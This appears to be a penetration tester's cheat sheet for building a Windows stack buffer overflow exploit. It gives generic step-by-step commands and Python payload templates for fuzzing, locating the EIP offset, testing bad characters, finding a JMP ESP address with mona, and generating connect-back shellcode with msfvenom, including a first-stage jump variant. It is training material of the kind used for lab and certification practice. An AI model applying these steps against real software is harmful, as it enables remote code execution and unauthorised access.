BOF

Buffer overflow

Fuzzing

Send increasingly long string to vulnerable field until the application crashes because the EIP registry has been overwritten. The string length will be the size of the payload.

Find EIP address

msf-pattern_create -l <size of payload>
msf-pattern_offset -q <bytes in EIP at crash> -l <size of payload>

Generate and send a string to the vulnerable application to replicate the crash. Once the application crashes use the debugger to read the bytes stored in the EIP register and use them to find the offset of the register from the injection point

Find writable area offset

It is needed to use a register to store the code to be executed at crash time. To do so we have to find a register that references an area of memory we have reserved for our script (the โ€˜Cโ€™ area). After submitting the following payload:

payload = 'A' * <offset from msf-pattern_offset> + 
'B' * 4 + 
'C' * (<size of payload> - 4 - <offset from msf-pattern_offset>)

Find a register that points to an area written with โ€˜Cโ€™s:

offset = 4*(number of 'C' rows between ESI address and the row of 'B's pointed by ESP)
available bytes = number of consecutive 'C's in and after the referenced address 

Check for space

After calculating the starting offset, see how much space you have available by trying to inject several extra lines of โ€˜Dโ€™s that represent your actual payload position:

payload = "A" * <offset from msf-pattern> + "B" * 4 + "C" * <offset> + "D" * 1500

If the available space is not enough to store the exploit see Bof with first stage payload

Check for bad chars

String for tests

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

known bad chars:

Null char: \x00
Line feed: \x0A
HTTP POST field term: \x0D

Procedure:

  1. Send the badchars string to the target machine.

  2. When the program crashes use the debugger to access the memory dump and read at which char the execution stopped.

  3. The character next to the last in memory is a bad one, remove it from the badchars string and send it again

  4. Repeat steps 1-3 until the application crashes after processing the whole string.

Redirect execution

!mona modules
!mona find -s "<opcode>" -m "<chosen library>.dll"    #for jmp esp is \xff\xe4
#OR to search in all modules
!mona jmp -r esp -m <file>.exe

Use Immunity's mona shell to find the position of an exploitable JMP ESP instruction (we want ESP register because it points to the top of the stack). A suitable address must not contain bad chars, and be stored in a library without memory protection systems in place and without bad chars in its base address.

When storing the address check for endianness: if the system is little endian invert the bytes' order.

Get opcodes

msf-nasm_shell
jmp esp

Assemble payload

Generate shellcode

If msfvenom is not able to generate a payload, remove the encoder option (-e) in this way the payload generator will automatically pick the best encoder to work with the given badchars.

msfvenom -p <payload> LHOST=<local ip> LPORT=<connect back port> -f py -v shellcode -b "\x00\<escaped bad chars>" EXITFUNC=thread

Assemble payload

shellcode = ("<escaped hex chars generated by msfvenom>")
padding = 'A'*<offset found by msf-pattern_offset>
eip = <EIP address>    #address is in little endian: \x31\x17\x12\xf3 --> \xf3\x12\x17\x31
offset = 'C'*<offset>
nops = '\x90' * <min 10, max (<available space> - len(shellcode))>
payload = padding+eip+offset+nops+shellcode

BoF with first stage payload

If the ESP register is too small to store the whole payload it will store the first stage payload and from there the execution will be redirected to the actual exploit code stored in another register pointing at the top of the stack.

First stage payload

Once a suitable register is found we have to add our instructions after the data stored. The following instructions will be executed from the ESP register in order to redirect the execution to the exploit

payload:

msf-nasm-shell
add <reg> <number of bytes>
jmp <reg>

The payload is formed by the generated hex strings joined together

Assemble payload

The procedure for the rest of the exploit is the same as before, the only difference is that you have to account for the first stage payload when assembling the exploit

nops = "\x90" * <num>
shellcode = ("<shell from msfvenom>")
padding = "\x41" * (<available space>-len(nops)โ€“len(shellcode))
eip = "<4 bytes addr>"
first_stage = "<generated hex payload>"
buffer = nops + shellcode + padding + eip + first_stage

Last updated